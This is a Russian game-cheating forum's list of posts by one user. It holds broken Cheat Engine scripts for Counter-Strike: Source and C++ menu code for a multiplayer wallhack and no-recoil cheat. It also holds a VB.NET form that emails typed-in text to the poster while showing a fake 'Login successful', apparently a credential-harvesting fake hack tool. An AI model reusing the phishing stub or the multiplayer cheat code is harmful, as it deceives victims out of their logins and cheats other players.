Ac1d
-
Постов
310 -
Зарегистрирован
-
Посещение
-
Победитель дней
22
Тип контента
Профили
Форумы
Загрузки
Блоги
Сообщения, опубликованные Ac1d
-
-
200 здоровья не хватит, т.к headshot с AWP наносит урон 245hp. 511 - максимум здоровья в игре
-
Лично я находил указатель и не грузился
-
Спасибо! Работает
-
А вот чуток от темы. Мне надо по нажатии хоткея в трейнере постоянно устанавливать значение 100 и не морозить его. Можно ли так делать на АА, а то указатели нудно искать? И ещё вопрос. Есть координата Z, я хочу сделать так, чтобы я всегда находился на высоте, написал скрипт и вот как происходит, я то подлетаю, то падаю то подлетаю. То есть заморозка действует не железо-бетонно, как сделать так, чтобы утановив значение 150 оно вообще не менялось?
-
Css, патч не помню. Лан (с ботами короче)
-
Да находятся, можно к адресу допустим с Х прибавить +4h и вот тебе координаты Y или Z
-
Так. Перенашёл инстр. с координатами
X :mov ecx,[edi+0000031C]
Y :mov edx,[edi+00000320]
Z :mov eax,[edi+00000324]
Переписал скрипт и ничего
[ENABLE]
alloc(_newmemX,1024)
alloc(_newmemY,1024)
alloc(_newmemZ,1024)
label(_returnhereX)
label(_returnhereY)
label(_returnhereZ)
label(_originalcodeX)
label(_originalcodeY)
label(_originalcodeZ)
label(_restX)
label(_restY)
label(_restZ)
label(_X)
label(_Y)
label(_Z)
label(_save)
label(_teleport)
registersymbol(_save)
registersymbol(_teleport)
//X
_newmemX:
mov ecx,[edi+0000031C]
pushad
cmp [_save],1
jne short _restX
mov [_save],0
mov ecx,3
lea edi,[_X]
lea esi,[edi+0000031C]
rep movsd
_restX:
cmp [_teleport],1
jne short _originalcodeX
mov [_teleport],0
mov ecx,3
lea esi,[edi+0000031C]
lea esi,[_X]
rep movsd
_originalcodeX:
popad
mov ecx,[edi+0000031C]
jmp _returnhereX
//Y
_newmemY:
mov edx,[edi+00000320]
pushad
cmp [_save],1
jne short _restY
mov [_save],0
mov ecx,3
lea edi,[_Y]
lea esi,[edi+00000320]
rep movsd
_restY:
cmp [_teleport],1
jne short _originalcodeY
mov [_teleport],0
mov ecx,3
lea esi,[edi+00000320]
lea esi,[_Y]
rep movsd
_originalcodeY:
popad
mov edx,[edi+00000320]
jmp _returnhereY
//Z
_newmemZ:
mov eax,[edi+00000324]
pushad
cmp [_save],1
jne short _restZ
mov [_save],0
mov ecx,3
lea edi,[_Z]
lea esi,[edi+00000324]
rep movsd
_restZ:
cmp [_teleport],1
jne short _originalcodeZ
mov [_teleport],0
mov ecx,3
lea edi,[edi+00000324]
lea esi,[_Z]
rep movsd
_originalcodeZ:
mov eax,[edi+00000324]
popad
jmp _returnhereZ
_save:
dd 0
_teleport:
dd 0
_X:
dd 0
_Y:
dd 0
_Z:
dd 0
//X
jmp _newmemX
nop
nop
nop
nop
_returnhereX:
//Y
jmp _newmemY
nop
nop
nop
nop
_returnhereY:
//Z
jmp _newmemZ
nop
nop
nop
nop
_returnhereZ:
[DISABLE]
dealloc(newmem)
"hl2.exe"+153C:
push 60
push 0040D228
//Alt: db 6A 60 68 28 D2 40 00 -
Вот мои предположения (Срипт SERGANTа)
[ENABLE]
alloc(_newmemX,1024)
alloc(_newmemY,1024)
alloc(_newmemZ,1024)
label(_returnhereX)
label(_returnhereY)
label(_returnhereZ)
label(_originalcodeX)
label(_originalcodeY)
label(_originalcodeZ)
label(_restX)
label(_restY)
label(_restZ)
label(_X)
label(_Y)
label(_Z)
label(_save)
label(_teleport)
registersymbol(_save)
registersymbol(_teleport)
//X
_newmemX:
mov [ebx],eax
pushad
cmp [_save],1
jne short _restX
mov [_save],0
mov ecx,3
lea edi,[_X]
lea esi,[ebx]
rep movsd
_restX:
cmp [_teleport],1
jne short _originalcodeX
mov [_teleport],0
mov ecx,3
lea esi,[ebx]
lea esi,[_X]
rep movsd
_originalcodeX:
popad
mov [ebx],eax
jmp _returnhereX
//Y
_newmemY:
mov [ebx+08],edx
pushad
cmp [_save],1
jne short _restY
mov [_save],0
mov ecx,3
lea edi,[_Y]
lea esi,[ebx+08]
rep movsd
_restY:
cmp [_teleport],1
jne short _originalcodeY
mov [_teleport],0
mov ecx,3
lea esi,[ebx+08]
lea esi,[_Y]
rep movsd
_originalcodeY:
popad
mov [ebx+08],edx
jmp _returnhereY
//Z
_newmemZ:
mov [esi+0000029C],ecx
pushad
cmp [_save],1
jne short _restZ
mov [_save],0
mov ecx,3
lea edi,[_Z]
lea esi,[esi+0000029C]
rep movsd
_restZ:
cmp [_teleport],1
jne short _originalcodeZ
mov [_teleport],0
mov ecx,3
lea edi,[esi+0000029C]
lea esi,[_Z]
rep movsd
_originalcodeZ:
mov [esi+0000029C],ecx
popad
jmp _returnhereZ
_save:
dd 0
_teleport:
dd 0
_X:
dd 0
_Y:
dd 0
_Z:
dd 0
//X
jmp _newmemX
nop
nop
nop
nop
_returnhereX:
//Y
jmp _newmemY
nop
nop
nop
nop
_returnhereY:
//Z
jmp _newmemZ
nop
nop
nop
nop
_returnhereZ:Ни результата ни вылета
-
Я понял.
-
Вот такое дело у меня. Нашёл три инструкции.
1 Стою на мосту, заморозил адрес из инстр. при падении меня подкидывает вверх(разбиться могу из-за заморозки плохой) я думаю, что это Z, я нашёл её лазая по лестнице.
2 Вторая возвращает меня на место, когда я делаю шаг либо влево либо вправо. Я думаю это X
3 Когда я присидаю меня чуть чуть подкидывает вверх, (это точно не Z, потому что стоя/сидя меня бы подкидывало в небо) наверное это Y.
Если я всё нашёл правильно, то помогите мне сделать отдельно скрипт сохраняющий координату и восстанавливающий?
Z :mov [esi+0000029C],ecx
X :mov [ebx],eax
Y :mov [ebx+08],edx
-
И такой вопрос:
Imports System.Net.Mail
Public Class Form1
Dim Mail As New MailMessage
Dim email As New SmtpClient
Private Sub button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Mail.From = New MailAddress("izmalkoff.993@yandex.ru")
Mail.To.Add("izmalkoff.993@yandex.ru")
Mail.Subject = (TextBox1.Text)
Mail.Body = (TextBox2.Text)
Dim s As New SmtpClient("smtp.yandex.ru")
s.Port = "587"
s.Credentials = New Net.NetworkCredential("izmalkoff.993", "XXXX")
s.EnableSsl = True
s.Send(Mail)
MsgBox("Login successful", MsgBoxStyle.Information, "Accept")
Catch ex As Exception
MsgBox("Login failed", MsgBoxStyle.Critical, "Error")
End Try
End Sub
_____________________________________________________________________________
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("You must be logged in!", MsgBoxStyle.Critical, "Error")
End Sub
End ClassВот мне надо сделать так, чтоб только после нажатия кнопки 1 нажатая кнопка 2 сказала, что Hack successful, а не так как у меня. По нажатии кнопки в любом случае будет You must be logged in!
-
Мне интересно как вставить треккерную музыку в мой проект?
-
Мой, вылетает:
[ENABLE]
alloc(newmem,2048)
label(returnhere)
label(originalcode)
label(_cmp)
registersymbol(_cmp)
newmem:
cmp [_cmp],1
jne short originalcode
add dword ptr [edi+esi*4+00000628],0a
originalcode:
mov eax,[edi+esi*4+00000628]
mov [_cmp],0
jmp returnhere
"server.dll"+DC553:
jmp newmem
nop
nop
returnhere:
_cmp:
dd 0
[DISABLE]
"server.dll"+DC553:
mov eax,[edi+esi*4+00000628]
dealloc(newmem)
unregistersymbol(_cmp) -
Щас попробую, без aob
-
[ENABLE]
alloc(_newmem,2048)
aobscan(_address,8Bxxxxxxxxxxxx8Bxxxxxxxxxxxx2Bxx33xx85xx0Fxxxx8Dxxxxxxxxxxxx83)
label(_grens)
registersymbol(_grens)
label(_returnhere)
label(_cmp)
label(_origanalcode)
registersymbol(_cmp)
_newmem:
cmp byte ptr [_cmp],0
je _origanalcode
cmp byte ptr [_cmp],1
je _grens
_grens:
add dword ptr [ecx+364],5
jmp _origanalcode
_origanalcode:
mov eax,[edi+esi*4+00000628]
jmp _returnhere
_cmp:
db 0
_address: // "server.dll"+DC553 = 0x220DC553
jmp _newmem
nop
nop
_returnhere:
[DISABLE]
_grens:
mov eax,[edi+esi*4+00000628]
dealloc(_newmem)
unregistersymbol(_grens)Мой тоже вылетает
-
Это получается ты будешь +1000 прибавлять или +1?
-
-
Можно на примере трейнера Kane and Lynch Deadman людям объяснить. Там гранаты прибавляются по нажатию хоткея. Я думаю потому, что cheathappens'ы тогда не знали как обойти проверку XLive
-
Для меня смысла нет, прибавлять. Если тебе это так важно, то жди ответа от MasterGH или от других опытных пользователей
-
Есть идея, при использовании E99 они будут прибавляться
-
Чтоб прибавляло? Я тогда не знаю как, так далеко не заходил
-
Вот пример меню для трейнера на C++ правда это чит для мультиплеера, но всё же оболочка присутствует:
LPD3DXFONT m_pFont = NULL;
D3DVIEWPORT9 ScreenViewport;
..............................
//=======================================:[ Active Vars ]:=================================
//-------------------------:[Visuals]:-----------------------
//-----------------------
bool *WallHack;
bool *Lambert;
//-----------------------
bool *WpLambert;
//-----------------------
bool *ColoredPlayers;
int *ClPl_ColorNumb;
int *ClPl_ColorMode;
.......
etc
.......
//=====================================
FrmMain = new MainMenu(m_pD3Ddev);
int xx = (ScreenViewport.Width / 2) - 243;
int yy = (ScreenViewport.Height / 2) - 170;
FrmMain->CreateWND(NULL,xx,yy,44,true,MAKEINTRESOURCE(100),0);
FrmMain->frWnd[0]->Controls->AddTabControl(18, 8, 452, 267);
//===========================================================:[VISUALS]:===========================================
FrmMain->frWnd[0]->Controls->TabControls[0]->AddTab("Visuals");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddScrollBar(432,0,FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->scrly,200,&FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->scrly);
/* Волхак */
int y = 19;
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Wallhack:",11,y,100,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Lambert (Static): ",230,y+27,300,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(360,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
WallHack = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[0]->checked;
Lambert = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[1]->checked;
y += 29+22;
/* Weapoon Lambert */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Wpn Lambert (Static):",11,y,300,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
WpLambert = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[2]->checked;
y += 29+22;
/*Colored Players*/
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Colored Players:",11,y,300,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Color:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddColorBox(120, y+29, 35, 17, 4);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Mode: ",230,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddComboBox(290,y+29,80,17);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[0]->AddLine("Textures");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[0]->AddLine("Shaders");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",48,y+51,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(120,y+53,MAKEINTRESOURCE(60),0xFFA9E005);
ColoredPlayers = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[3]->checked;
ClPl_ColorNumb = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ColorBoxes[0]->value;
ClPl_ColorMode = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[0]->value;
y += 53+22;
/*Chams*/
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Chams:",11,y,300,20,0xFFFFFFFF,0xFFFFFFFF); //+23
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("HColor:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f); //+23
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddColorBox(120, y+29, 35, 17, 4);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("IColor:",48,y+51,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddColorBox(120, y+53, 35, 17, 1);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Mode: ",230,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddComboBox(290,y+29,80,17);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[1]->AddLine("Textures");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[1]->AddLine("Shaders");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",230,y+51,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(290,y+53,MAKEINTRESOURCE(60),0xFFA9E005);
Chams = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[4]->checked;
Chams_ColorNumb1 = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ColorBoxes[1]->value;
Chams_ColorNumb2 = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ColorBoxes[2]->value;
Chams_ColorMode = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ComboBoxes[1]->value;
y += 53+22;
/*xHair*/
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("XHair:",11,y,300,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Color:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddColorBox(120, y+29, 35, 17, 4);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",230,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(290,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
CrossHair = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[5]->checked;
CrH_ColorNumb = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->ColorBoxes[3]->value;
y += 29+22;
/* WhiteWalls */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("WhiteWalls:",11,y,100,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
WhiteWalls = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[6]->checked;
y += 29+22;
/* AsusWallHack */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("AsusWallHack: ",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
AsusWallHack = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[0]->Controls->CheckBoxes[7]->checked;
y += 29+22;
//===========================================================:[REMOVALS]:===========================================
FrmMain->frWnd[0]->Controls->TabControls[0]->AddTab("Removals");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddScrollBar(432,0,FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->scrly,180,&FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->scrly);
y = 19;
/* NoFog */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Fog(Static):",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoFog = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[0]->checked;
y += 29+22;
/* NoSky */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("NoSky:",11,y,300,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Color:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddColorBox(120, y+29, 35, 17, 9);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Mode: ",230,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddComboBox(290,y+29,80,17);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->ComboBoxes[0]->AddLine("Textures");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->ComboBoxes[0]->AddLine("Shaders");
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+51,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+53,MAKEINTRESOURCE(60),0xFFA9E005);
NoSky = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[1]->checked;
Sky_ColorNumb = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->ColorBoxes[0]->value;
Sky_ColorMode = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->ComboBoxes[0]->value;
y += 53+22;
/* NoGrass */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Grass:",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoGrass = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[2]->checked;
y += 29+22;
/* NoSun */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Sun:",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoSun = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[3]->checked;
y += 29+22;
/* NoShadows */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Shadows:",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoShadows = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[4]->checked;
y += 29+22;
/* No Spread */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Spread:",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoSpread = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[5]->checked;
y += 29+22;
/* No Recoil */
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("No Recoil:",11,y,200,20,0xFFFFFFFF,0xFFFFFFFF);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddSeparator(11,y+20,409,1,0x99AAAAAA);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddTextArea("Enable:",48,y+27,100,20,0xFF6f6f6f,0xFF6f6f6f);
FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->AddCheckBox(120,y+29,MAKEINTRESOURCE(60),0xFFA9E005);
NoRecoil = &FrmMain->frWnd[0]->Controls->TabControls[0]->TabWindows[1]->Controls->CheckBoxes[6]->checked;
y += 29+22;
///MainMenu *FrmMain;
Не забываем про это:
m_pFont->OnLostDevice(); FrmMain->OnLostDevice();
И конец:
and in endscene:
-
-
Такой вопрос, 2010 не поддерживает разработку С++ как 2008? Моя версия Express
CS:S Godmod
in Вопросы по созданию читов в одиночных играх
Опубликовано
Боты бессмертные мне тоже не нужны